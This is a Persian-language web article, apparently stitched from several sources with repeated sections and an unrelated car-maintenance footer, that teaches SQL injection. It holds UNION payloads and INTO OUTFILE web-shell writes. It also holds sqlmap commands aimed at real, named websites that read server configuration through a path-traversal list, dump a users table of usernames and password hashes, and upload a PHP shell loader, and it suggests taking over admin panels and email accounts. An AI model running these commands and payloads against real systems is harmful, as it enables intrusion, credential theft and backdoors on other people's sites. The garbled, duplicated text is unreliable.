پوسته را با SQLmap بارگذاری کنید. بارگیری پوسته با SQLmap بازیابی اطلاعات از پایگاه داده

پوسته را با SQLmap بارگذاری کنید. بارگیری پوسته با SQLmap بازیابی اطلاعات از پایگاه داده

28.07.2023

با سلام خدمت خواننده اخیراً به امنیت وب علاقه مند شده ام و تا حدودی کارم به این موضوع مربوط می شود. زیرا بیشتر و بیشتر متوجه موضوعاتی در انجمن های مختلف شدم که از آنها می خواستم نشان دهند که چگونه کار می کند، بنابراین تصمیم گرفتم مقاله ای بنویسم. هدف این مقاله برای کسانی است که با این مورد مواجه نشده اند، اما مایل به یادگیری هستند. مقالات نسبتا زیادی در مورد این موضوع در اینترنت وجود دارد، اما برای مبتدیان کمی پیچیده است. من سعی خواهم کرد همه چیز را با زبانی واضح و مثال های دقیق شرح دهم.

پیشگفتار

برای درک این مقاله، واقعاً به دانش زبان SQL نیاز ندارید، اما حداقل به صبر و کمی مغز برای حفظ کردن نیاز دارید.

من معتقدم که فقط خواندن مقاله کافی نخواهد بود، زیرا ... ما به نمونه های زنده نیاز داریم - همانطور که می دانید، تمرین در فرآیند حفظ هرگز اضافی نیست. بنابراین، ما اسکریپت های آسیب پذیر را می نویسیم و روی آنها آموزش می دهیم.

تزریق SQL چیست؟
به زبان ساده، این یک حمله به پایگاه داده است که به شما امکان می دهد اقداماتی را انجام دهید که توسط سازنده اسکریپت برنامه ریزی نشده بود. مثالی از زندگی:

پدر در یادداشتی به مادرش نوشت که 100 روبل به واسیا بدهد و آن را روی میز بگذارد. با کار مجدد این به یک زبان کمیک SQL، دریافت می کنیم:
100 روبل از کیف خود بردارید و به واسیا بدهید

از آنجایی که پدر یادداشت را بد نوشت (دستخط ناشیانه) و آن را روی میز گذاشت، برادر واسیا پتیا آن را دید. پتیا که یک هکر بود، "OR Pete" را در آنجا اضافه کرد و نتیجه درخواست زیر بود:
100 روبل از کیف پول خود بردارید و به واسیا یا پتیا بدهید

مامان پس از خواندن یادداشت تصمیم گرفت که دیروز به واسیا پول داد و 100 روبل به پتیا داد. در اینجا یک مثال ساده از تزریق SQL از زندگی آورده شده است:) بدون فیلتر کردن داده ها (مامان به سختی می توانست دست خط را بفهمد)، پتیا به سود رسید.

آماده سازی
برای تمرین، به یک آرشیو با اسکریپت های منبع این مقاله نیاز دارید. آن را دانلود کرده و روی سرور باز کنید. همچنین پایگاه داده را وارد کرده و داده ها را در فایل تنظیم کنید cfg.php

جستجوی تزریق SQL

همانطور که قبلاً فهمیدید، تزریق از داده های ورودی می آید که فیلتر نشده اند. رایج ترین اشتباه فیلتر نکردن شناسه ارسال شده است. خب، به طور تقریبی، نقل قول ها را در همه زمینه ها قرار دهید. خواه یک درخواست GET/POST باشد یا حتی یک کوکی!

پارامتر ورودی عددی
برای تمرین به یک اسکریپت نیاز داریم index1.php. همانطور که در بالا گفتم، ما نقل قول ها را در شناسه خبر درج می کنیم.

زیرا درخواست ما فیلترینگ ندارد:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

اسکریپت این را به این صورت درک خواهد کرد

SELECT * FROM news WHERE id=1"

و به ما یک خطا می دهد:
اخطار: mysql_fetch_array() انتظار دارد که پارامتر 1 منبع باشد، بولی که در C:\WebServ\domains\sqlinj\index1.php در خط 16 داده شده است.

اگر خطا ظاهر نشد، ممکن است دلایل زیر وجود داشته باشد:

1. تزریق SQL اینجا نیست - نقل قول ها فیلتر شده اند، یا فقط ارزش تبدیل به (int)
2. خروجی خطا غیرفعال است.

اگر باز هم خطایی دریافت کردید - هورای! ما اولین نوع تزریق SQL - پارامتر ورودی عددی را پیدا کردیم.

پارامتر ورودی رشته

ما درخواست ها را ارسال خواهیم کرد index2.php. در این فایل، درخواست به صورت زیر است:
$user = $_GET["کاربر"]; $query = "SELECT * FROM news WHERE user="$user"";

در اینجا اخبار را با نام کاربری انتخاب می کنیم و باز هم فیلتر نمی کنیم.
مجدداً یک درخواست با یک نقل قول ارسال می کنیم:

خطا داد خوب! این بدان معناست که یک آسیب پذیری وجود دارد. برای شروع، این برای ما کافی است - بیایید به تمرین برسیم.

بیایید اقدام کنیم

کمی تئوری

احتمالاً نمی توانید منتظر بمانید تا چیزی غیر از اشتباهات را از این کار به دست آورید. ابتدا درک کنید که علامت " -- " یک نظر در SQL در نظر گرفته می شود.

توجه! قبل و بعد از آن باید فضاهایی وجود داشته باشد. در URL آنها به عنوان منتقل می شوند %20

هر چیزی که بعد از نظر می آید کنار گذاشته می شود. یعنی درخواست:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

موفق خواهد شد. با ارسال درخواستی مانند زیر می توانید این را روی اسکریپت index2.php امتحان کنید:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

پارامتر را یاد بگیرید اتحاد. اتصال. در زبان SQL کلمه کلیدی اتحاد. اتصالبرای ترکیب نتایج دو کوئری SQL در یک جدول واحد استفاده می شود. یعنی برای اینکه چیزی را که نیاز داریم از جدول دیگری بیرون بکشیم.

بیایید از آن بهره ببریم

اگر پارامتر "Numeric" باشد، نیازی به ارسال نقل قول در درخواست نداریم و طبیعتاً در پایان نظر قرار می دهیم. برگردیم به فیلمنامه index1.php.

بیایید به اسکریپت بپردازیم sqlinj/index1.php?id=1 UNION SELECT 1 . کوئری پایگاه داده ما به این صورت است:
SELECT * FROM news WHERE id=1 UNION SELECT 1
و او به ما خطا داد، زیرا ... برای کار با پرس و جوهای ادغام، به همان تعداد فیلد نیاز داریم.

زیرا در درخواست اول نمی توانیم روی تعداد آنها تأثیر بگذاریم، سپس باید تعداد آنها را در درخواست دوم انتخاب کنیم تا با اولی برابر شود.

انتخاب تعداد فیلدها

انتخاب فیلدها بسیار ساده است، فقط درخواست های زیر را ارسال کنید:
sqlinj/index1.php?id=1 UNION SELECT 1,2
خطا…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
دوباره خطا!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
بدون خطا! یعنی تعداد ستون ها 5 عدد است.

دسته بندی بر اساس
اغلب اتفاق می افتد که ممکن است 20 یا 40 یا حتی 60 فیلد وجود داشته باشد. برای اینکه مجبور نباشیم هر بار آنها را مرتب کنیم، از آنها استفاده می کنیم. دسته بندی بر اساس

در صورت درخواست
sqlinj/index1.php?id=1 GROUP BY 2
هیچ خطایی نشان نداد، به این معنی که تعداد فیلدها بیش از 2 است. بیایید امتحان کنیم:

Sqlinj/index1.php?id=1 GROUP BY 8
Op، یک خطا می بینیم، یعنی تعداد فیلدها کمتر از 8 است.

اگر با GROUP BY 4 خطایی وجود نداشته باشد و با GROUP BY 6 خطایی وجود داشته باشد، تعداد فیلدها 5 است.

تعریف ستون های خروجی
برای اطمینان از اینکه از اولین درخواست چیزی برای ما نمایش داده نمی شود، کافی است یک شناسه غیرموجود را جایگزین کنید، به عنوان مثال:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

با این عمل مشخص کردیم که کدام ستون ها در صفحه نمایش داده می شوند. حال برای جایگزینی این شماره ها با اطلاعات لازم، باید درخواست را ادامه دهید.

خروجی داده

فرض کنید می دانیم که جدول هنوز وجود دارد کاربرانکه در آن زمینه ها وجود دارد شناسه, نامو عبور.
ما باید اطلاعاتی در مورد کاربر با ID=1 بدست آوریم

بنابراین، بیایید پرس و جو زیر را بسازیم:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 از کاربران WHERE id=1
اسکریپت نیز به خروجی خود ادامه می دهد

برای این کار نام فیلدها را به جای اعداد 1 و 3 جایگزین می کنیم

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM کاربران WHERE id=1
ما به آنچه نیاز داشتیم رسیدیم!

برای "پارامتر ورودی رشته" مانند اسکریپت index2.phpشما باید یک علامت نقل قول در ابتدا و یک علامت نظر در پایان اضافه کنید. مثال:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM کاربران WHERE id=1 --%20

خواندن/نوشتن فایل ها

برای خواندن و نوشتن فایل ها، کاربر پایگاه داده باید حقوق FILE_PRIV را داشته باشد.
ضبط فایل ها
در واقع همه چیز بسیار ساده است. برای نوشتن یک فایل از تابع استفاده می کنیم OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
عالی، فایل نزد ما ثبت شده است. بنابراین، ما می توانیم پوسته کوچک را پر کنیم:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
خواندن فایل ها
خواندن فایل ها حتی ساده تر از نوشتن است. کافی است به سادگی از عملکرد استفاده کنید LOAD_FILE، برای مکان فیلدی که انتخاب می کنیم:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

به این ترتیب ما فایل نوشته قبلی را خواندیم.

روش های حفاظت

محافظت از خود حتی ساده تر از سوء استفاده از یک آسیب پذیری است. فقط داده ها را فیلتر کنید. اگر اعداد را پاس می کنید، استفاده کنید
$id = (int) $_GET["id"];
همانطور که کاربر malroc پیشنهاد کرد. با استفاده از PDO یا بیانیه های آماده شده از خود محافظت کنید.

به جای تکمیل

اینجاست که می‌خواهم بخش اول خود را در مورد «تزریق SQL برای مبتدیان» به پایان برسانم. در قسمت دوم به نمونه های شدیدتر تزریق می پردازیم. سعی کنید اسکریپت های آسیب پذیر بنویسید و خودتان کوئری ها را اجرا کنید.
و به یاد داشته باشید که به هیچ کاربر سایت خود اعتماد نکنید.

اسپویلر: .ZEN

ما یک SQL Injection در سایت داریم که به شکل زیر است:

اولین کاری که می‌خواهیم انجام دهیم این است که بررسی کنیم آیا ما مجوز نوشتن فایل‌ها روی منبع مورد حمله را داریم یا خیر؛ برای انجام این کار، ترمینال را بارگذاری کرده و دستور زیر را صادر کنید:

Http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Enter را فشار می دهیم و تجزیه و تحلیل SQL Injection شروع می شود، گزارش به این صورت است:

همانطور که در گزارش مشاهده می کنید، نسخه آپاچی، نسخه MySQL و نسخه سیستم عامل نصب شده بر روی سرور نوشته شده است، همه اینها در آینده برای ما مفید خواهد بود، اما از همه مهمتر می بینید که ما حق نوشتن فایل ها را داریم، این در خط Current User is DBA: True نمایش داده می شود

قدم بعدی برای ما این است که مسیرهایی را برای ثبت پوسته خود به دست آوریم. با دانلود فایل httpd.conf می توانیم مسیر سایت خود را در سرور دریافت کنیم. ما با استفاده از Google اطلاعاتی در مورد مکان فایل httpd.conf دریافت می کنیم؛ می توانید بر اساس نسخه سیستم عامل نصب شده یا لیستی از مسیرهای محتمل جستجو کنید. به طور کلی، من به گشت و گذار در موتورهای جستجو نمی پردازم، فقط زمانی که محتمل ترین مکان مسیر فایل را پیدا کردید، وقت آن است که همین فایل را روی دیسک خود دانلود کنید، برای انجام این کار، موارد زیر را وارد کنید. دستور و درخواست خواندن فایل روی سرور:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

اجازه دهید فوراً توجه داشته باشیم که همیشه نمی‌توان این فایل پیکربندی را در اولین بار پیدا کرد، بنابراین می‌توانید از محتمل‌ترین مسیرهایی که ممکن است این فایل در آن قرار داشته باشد استفاده کنید:

لیست مسیرهای ممکن به فایل کانفیگ:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

ما یک گزارش از sqlmap به شکل زیر دریافت می کنیم:

همانطور که می بینید، sqlmap به ما گفت که فایل به اندازه فایل روی سرور است، بنابراین ما حق خواندن این فایل را داریم. اگر حقوق کافی برای خواندن این فایل وجود نداشته باشد، این خطا ظاهر می شود که فایل ذخیره شده در دستگاه ما دارای اندازه متفاوتی با فایل موجود در سرور است، یا هیچ فایلی در سرور در مسیری که ما مشخص کرده ایم وجود ندارد و هرگز نداشته است. بوده. Sqlmap فایل ما را در فایل های گزارش ذخیره کرد و برای خواندن آن باید مدیر پنجره را راه اندازی کنیم. برای راه اندازی مدیر پنجره، پنجره ترمینال دیگری را باز می کنیم و دستور را وارد می کنیم:

بعد، در مدیری که باز می شود، مسیری را دنبال می کنیم که sqlmap فایل را اضافه کرده است، یعنی:
/root/.sqlmap/output/sacoor.com
سپس مکان نما را روی فایل ببرید، دکمه F3 را روی صفحه کلید فشار دهید و فایل پیکربندی آپاچی را بخوانید:

از فایل کانفیگ ما می بینیم که سایت ما در سرور در مسیر زیر قرار دارد:
/home/sbshop/site/

حالا که اطلاعات کمی داریم، می‌توانیم پوسته را پر کنیم، برای این کار دستور زیر را وارد می‌کنیم:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

پس از وارد کردن دستور، sqlmap می پرسد که از چه نوع پرکننده ای می خواهیم استفاده کنیم، زیرا ... در مورد ما، سایت به زبان PHP است، سپس PHP-loader را آپلود می کنیم، مورد 4 را انتخاب کرده و Enter را فشار می دهیم. در مرحله بعد، sqlmap از ما می خواهد که مکان بارگذاری خود را انتخاب کنیم و از آنجایی که... ما از قبل مسیر سایت خود را در سرور می دانیم، سپس مورد 2 را انتخاب کنید، Enter را فشار دهید و مسیر سایت را مشخص کنید:
/home/sbshop/site/

و پس از آن Enter را فشار دهید و گزارش زیر را مشاهده کنید:

در این حالت، sqlmap به ما می گوید که ما حقوق نوشتن این پوشه را نداریم. مشکلی نیست، حل این مشکل بسیار آسان است. ما دستور راه اندازی uniscan را می دهیم و فایل ها و پوشه ها را برای قابلیت نوشتن بررسی می کنیم، در اینجا این دستور است.

sqlmap چیست و چه کاربردی دارد؟

این برنامه به شما اجازه می دهد تا سایت ها را برای آسیب پذیری های تزریق SQL، آسیب پذیری های XSS بررسی کنید و همچنین از تزریق SQL سوء استفاده کنید. انواع مختلف تزریق SQL و انواع پایگاه های داده پشتیبانی می شود.

با sqlmap چه کاری می توانید انجام دهید

با sqlmap می توانید:

  • بررسی کنید که آیا وب سایت ها دارای آسیب پذیری هستند

اگر سایت در برابر تزریق SQL آسیب پذیر باشد، ممکن است:

  • دریافت اطلاعات از پایگاه داده، از جمله تخلیه (کل) پایگاه داده
  • تغییر و حذف اطلاعات از پایگاه داده
  • یک پوسته (درپشتی) را روی یک وب سرور آپلود کنید

یکی از سناریوهای استفاده از sqlmap:

  • دریافت نام کاربری و رمز عبور از پایگاه داده
  • جستجوی پنل های مدیریت سایت (پنل مدیریت)
  • با ورود و رمز عبور دریافتی وارد پنل مدیریت شوید

اگر آسیب‌پذیری وجود داشته باشد، حمله می‌تواند در جهات مختلف توسعه یابد:

  • اصلاح داده ها
  • پر کردن درب پشتی
  • تزریق کد جاوا اسکریپت برای به دست آوردن اطلاعات کاربر
  • پیاده سازی کد برای Hooking در BeEF

همانطور که می بینیم، تزریق SQL یک آسیب پذیری بسیار خطرناک است که به مهاجم فرصت های بزرگی می دهد.

بررسی وب سایت ها با استفاده از sqlmap

اگر سایت با استفاده از روش GET داده ها را از کاربر دریافت می کند (زمانی که هم نام متغیر و هم داده های ارسال شده در نوار آدرس مرورگر قابل مشاهده است)، باید آدرس صفحه ای که این متغیر در آن قرار دارد را انتخاب کنید. حاضر. بعد از علامت سوال می آید ( ? )، مثلا:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

در آدرس اول، نام متغیر است شناسه، و مقدار پاس شده است 8 . در آدرس دوم نام متغیر نیز وجود دارد شناسهو مقدار ارسال شده 22 . در مثال سوم، نام متغیر یکسان است، اما مقدار ارسال شده است p_36. نام متغیر یکسان یک تطابق تصادفی برای سایت های مختلف است، می تواند هر چیزی باشد، داده های ارسالی می تواند هر چیزی باشد، می تواند چندین متغیر با مقادیری وجود داشته باشد که با یک نماد از هم جدا شده اند. & .

اگر بخواهیم بررسی کنیم که آیا متغیر id در برابر تزریق SQL آسیب پذیر است، باید کل آدرس را وارد کنیم - http://www.dwib.org/faq2.php?id=8 (نه http://www.dwib) .org /faq2.php یا http://www.dwib.org).

دستور بررسی یک متغیر ارسال شده توسط متد GET بسیار ساده است:

Sqlmap -u site_address

برای این سایت ها دستورات به صورت زیر خواهد بود:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36

در طول فرآیند تأیید، sqlmap ممکن است سؤالات مختلفی بپرسد و شما باید به آنها پاسخ دهید y(یعنی بله) یا n(یعنی خیر). حرف y و n می تواند بزرگ یا کوچک باشد. حرف بزرگ به معنای انتخاب پیش فرض است، اگر با آن موافق هستید، کافی است Enter را فشار دهید.

نمونه هایی از موقعیت ها و سوالات:

اکتشافی تشخیص داد که هدف توسط نوعی WAF/IPS/IDS محافظت می‌شود.

اکتشافی مشخص کرد که هدف توسط نوعی WAF/IPS/IDS محافظت می‌شود. آیا می خواهید sqlmap سعی کند نام WAF/IPS/IDS را تعیین کند؟

درخواست مورد علاقه من:

تست اکتشافی (پایه) نشان می‌دهد که پارامتر GET "id" ممکن است قابل تزریق باشد (DBMS ممکن: "MySQL") برای تزریق SQL روی پارامتر "id" GET آزمایش می‌کند، به نظر می‌رسد DBMS پشتیبان "MySQL" است. آیا می‌خواهید از بارهای آزمایشی خاص برای سایر DBMS ها صرفنظر کنید؟

نکته این است که اکتشافی تشخیص داده است که ممکن است پارامتر آسیب پذیر باشد و DBMS راه دور قبلاً شناسایی شده است، از ما پرسیده می شود که آیا می خواهیم بررسی را ادامه دهیم. و در اسکرین شات دوم، سایت در برابر XSS نیز آسیب پذیر است.

اگر می‌خواهید فرآیند را خودکار کنید تا sqlmap هر بار از شما سؤال نکند، بلکه از انتخاب پیش‌فرض استفاده کند (همیشه گزینه‌های بهتری وجود دارد)، می‌توانید دستور را با این گزینه اجرا کنید. -- دسته ای:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

مشکلات احتمالی هنگام اسکن sqlmap

ممکن است خطاهای زیر ظاهر شوند:

زمان اتصال به URL هدف تمام شد. sqlmap قصد دارد درخواست(های) را مجدداً امتحان کند اگر مشکل ادامه داشت، لطفاً بررسی کنید که URL هدف ارائه شده معتبر است. در صورت وجود، می‌توانید با روشن بودن سوئیچ «--random-agent» و/یا سوئیچ‌های پراکسی («--ignore-proxy»، «--proxy»...) دوباره اجرا کنید.

این بدان معنی است که وب سایت نمی خواهد با sqlmap "صحبت" کند. به عنوان یک گزینه به ما پیشنهاد می شود از آن استفاده کنیم - عامل تصادفی. اگر می توانید سایت را در مرورگر تماشا کنید، اما sqlmap در مورد عدم امکان اتصال می نویسد، پس سایت درخواست ها را نادیده می گیرد و روی عامل کاربر تمرکز می کند. گزینه --random-agent مقدار استاندارد sqlmap را به تصادفی تغییر می دهد:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

یکی دیگر از دلایل این خطا می تواند این باشد که IP شما توسط یک وب سایت مسدود شده است - پس باید از یک پروکسی استفاده کنید. اگر از قبل از پروکسی استفاده می کنید و این خطا ظاهر می شود، ممکن است به این معنی باشد که پروکسی مشکل ارتباطی دارد و باید بدون آن تلاش کنید.

نتایج اسکن sqlmap

تزریق SQL شناسایی شده به صورت زیر نمایش داده می شود:

آن ها با رنگ سبز پررنگ مشخص شده اند، نام پارامتر آسیب پذیر نوشته شده، نوع آسیب پذیری SQL و کلمه وجود دارد قابل تزریق.

دریافت لیستی از پایگاه های داده با sqlmap

برای دریافت لیستی از پایگاه های داده، از گزینه استفاده کنید --dbs. مثال ها:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

بازیابی اطلاعات از پایگاه های داده

به عنوان مثال، دو پایگاه داده برای سایت wellerpools.com پیدا شد:

[*] information_schema [*] main_wellerpools

من می خواهم لیست جداول پایگاه داده main_wellerpools را بدانم. برای این کار از گزینه استفاده کنید -- جداول. علاوه بر آن، باید جدول مورد نظر خود را بعد از گزینه مشخص کنیم -دی:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

لیست جداول:

بنا به دلایلی می خواهم لیست ستون ها را از جدول کاربران بدانم. برای این کار از گزینه استفاده کنید --ستون ها. علاوه بر آن، ما باید پایگاه داده مورد نظر خود را نشان دهیم ( -D main_wellerpools) و بعد از کلید -تیجدولی که می خواهیم لیستی از ستون ها را برای آن ببینیم:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --columns

برای نمایش محتوا از گزینه استفاده کنید --زباله. می توان آن را همراه با پایگاه داده مشخص کرد و سپس یک Dump از کل پایگاه داده ایجاد می شود یا می توانید داده ها را به یک جدول یا حتی یک ستون محدود کنید. با دستور زیر می خواهم محتویات کل جدول کاربران را ببینم:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --dump

به گذرواژه ها نگاهی بیندازید - با یک بازرسی سریع، فکر کردم آنها هش هستند. ادمین ها واقعا سعی کردند از خود دفاع کنند، اما به آنها کمکی نکرد.

ضمناً، از آنجایی که پارامتری که داده های ارسال شده به روش GET را می پذیرد آسیب پذیر است، می توانید درخواستی را مستقیماً در خط مرورگر ایجاد کنید به گونه ای که ورود و رمز عبور کاربر مستقیماً در خود سایت نمایش داده شود:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(user_name,0x3a,user_pwd),3,4,5,6,7,8,9, 10+از+کاربران--
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8،9،10+از+کاربران--

آن ها ما نام کاربری، رمز عبور و ایمیل کاربران (و به احتمال زیاد حتی مدیران) سایت را داریم. اگر بتوانید پنل مدیریت سایت را پیدا کنید، می توانید کنترل سایت یا وب سرور را به دست آورید. با توجه به علاقه کاربران به رمزهای عبور یکسان و دانستن صندوق پستی آنها، می توانید سعی کنید ایمیل آنها را هک کنید.

به طور کلی، تزریق SQL یک آسیب پذیری بسیار خطرناک است.

خوب به موضوع:

اسپویلر: پوسته را پر کنید

ما یک SQL Injection در سایت داریم که به شکل زیر است:

برای دیدن لینک ها باید ثبت نام کنید


اولین کاری که می‌خواهیم انجام دهیم این است که بررسی کنیم آیا ما مجوز نوشتن فایل‌ها روی منبع مورد حمله را داریم یا خیر؛ برای انجام این کار، ترمینال را بارگذاری کرده و دستور زیر را صادر کنید:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

کلیک واردو تجزیه و تحلیل SQL Injection ما شروع می شود، گزارش به شکل زیر است:

همانطور که در گزارش مشاهده می کنید، نسخه آپاچی، نسخه MySQL و نسخه سیستم عامل نصب شده بر روی سرور نوشته شده است، همه اینها در آینده برای ما مفید خواهد بود، اما از همه مهمتر می بینید که ما حق نوشتن فایل ها را داریم، این در خط Current User is DBA: True نمایش داده می شود

قدم بعدی برای ما این است که مسیرهایی را برای ثبت پوسته خود به دست آوریم. ما می توانیم با دانلود فایل، مسیر سایت خود را در سرور دریافت کنیم httpd.conf. ما با استفاده از Google اطلاعاتی در مورد مکان فایل httpd.conf دریافت می کنیم؛ می توانید بر اساس نسخه سیستم عامل نصب شده یا لیستی از مسیرهای محتمل جستجو کنید. به طور کلی، من به گشت و گذار در موتورهای جستجو نمی پردازم، فقط زمانی که محتمل ترین مکان مسیر فایل را پیدا کردید، وقت آن است که همین فایل را روی دیسک خود دانلود کنید، برای انجام این کار، موارد زیر را وارد کنید. دستور و درخواست خواندن فایل روی سرور:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

اجازه دهید فوراً توجه داشته باشیم که همیشه نمی‌توان این فایل پیکربندی را در اولین بار پیدا کرد، بنابراین می‌توانید از محتمل‌ترین مسیرهایی که ممکن است این فایل در آن قرار داشته باشد استفاده کنید:

لیست مسیرهای ممکن به فایل کانفیگ:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

ما یک گزارش از sqlmap به شکل زیر دریافت می کنیم:


همانطور که می بینید، sqlmap به ما گفت که فایل به اندازه فایل روی سرور است، بنابراین ما حق خواندن این فایل را داریم. اگر حقوق کافی برای خواندن این فایل وجود نداشته باشد، این خطا ظاهر می شود که فایل ذخیره شده در دستگاه ما دارای اندازه متفاوتی با فایل موجود در سرور است، یا هیچ فایلی در سرور در مسیری که ما مشخص کرده ایم وجود ندارد و هرگز نداشته است. بوده. Sqlmap فایل ما را در فایل های گزارش ذخیره کرد و برای خواندن آن باید مدیر پنجره را راه اندازی کنیم. برای راه اندازی مدیر پنجره، پنجره ترمینال دیگری را باز می کنیم و دستور را وارد می کنیم:

بعد، در مدیری که باز می شود، مسیری را دنبال می کنیم که sqlmap فایل را اضافه کرده است، یعنی:
/root/.sqlmap/output/sacoor.com
سپس مکان نما را روی فایل ببرید و دکمه را فشار دهید F3روی صفحه کلید و فایل پیکربندی آپاچی را بخوانید:


از فایل کانفیگ ما می بینیم که سایت ما در سرور در مسیر زیر قرار دارد:
/home/sbshop/site/

حالا که اطلاعات کمی داریم، می‌توانیم پوسته را پر کنیم، برای این کار دستور زیر را وارد می‌کنیم:

پس از وارد کردن دستور، sqlmap می پرسد که از چه نوع پرکننده ای می خواهیم استفاده کنیم، زیرا ... در مورد ما، سایت به زبان PHP است، سپس ما آپلود می کنیم PHP-loader، انتخاب کنید نقطه 4و Enter را فشار دهید. در مرحله بعد، sqlmap از ما می خواهد که مکان بارگذاری خود را انتخاب کنیم و از آنجایی که... ما از قبل مسیر سایت خود را در سرور می دانیم، سپس انتخاب کنید نقطه 2، مطبوعات واردو مسیر سایت را مشخص کنید:
/home/sbshop/site/

و بعد از آن فشار می دهیم واردو گزارش زیر را می بینیم:


در این حالت، sqlmap به ما می گوید که ما حقوق نوشتن این پوشه را نداریم. مشکلی نیست، حل این مشکل بسیار آسان است. ما دستور راه اندازی uniscan را می دهیم و فایل ها و پوشه ها را برای قابلیت نوشتن بررسی می کنیم، در اینجا این دستور است:

Uniscan -u http://www.sacoor.com/ -qwe

اکنون اسکنر همه دایرکتوری های قابل نوشتن را بررسی می کند:


اسکنر سه دایرکتوری با قابلیت نوشتن فایل پیدا کرد، بنابراین ما سعی می کنیم دوباره پوسته لودر خود را بارگذاری کنیم، اما این بار به روشی متفاوت. دوباره دستور را اجرا کنید:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

و با انتخاب نقطه 4(پر کردن اسکریپت PHP)، مسیر را مشخص کنید:
/home/sbshop/site/admin

موارد زیر را می بینیم.



© 2023 globusks.ru - تعمیر و نگهداری خودرو برای مبتدیان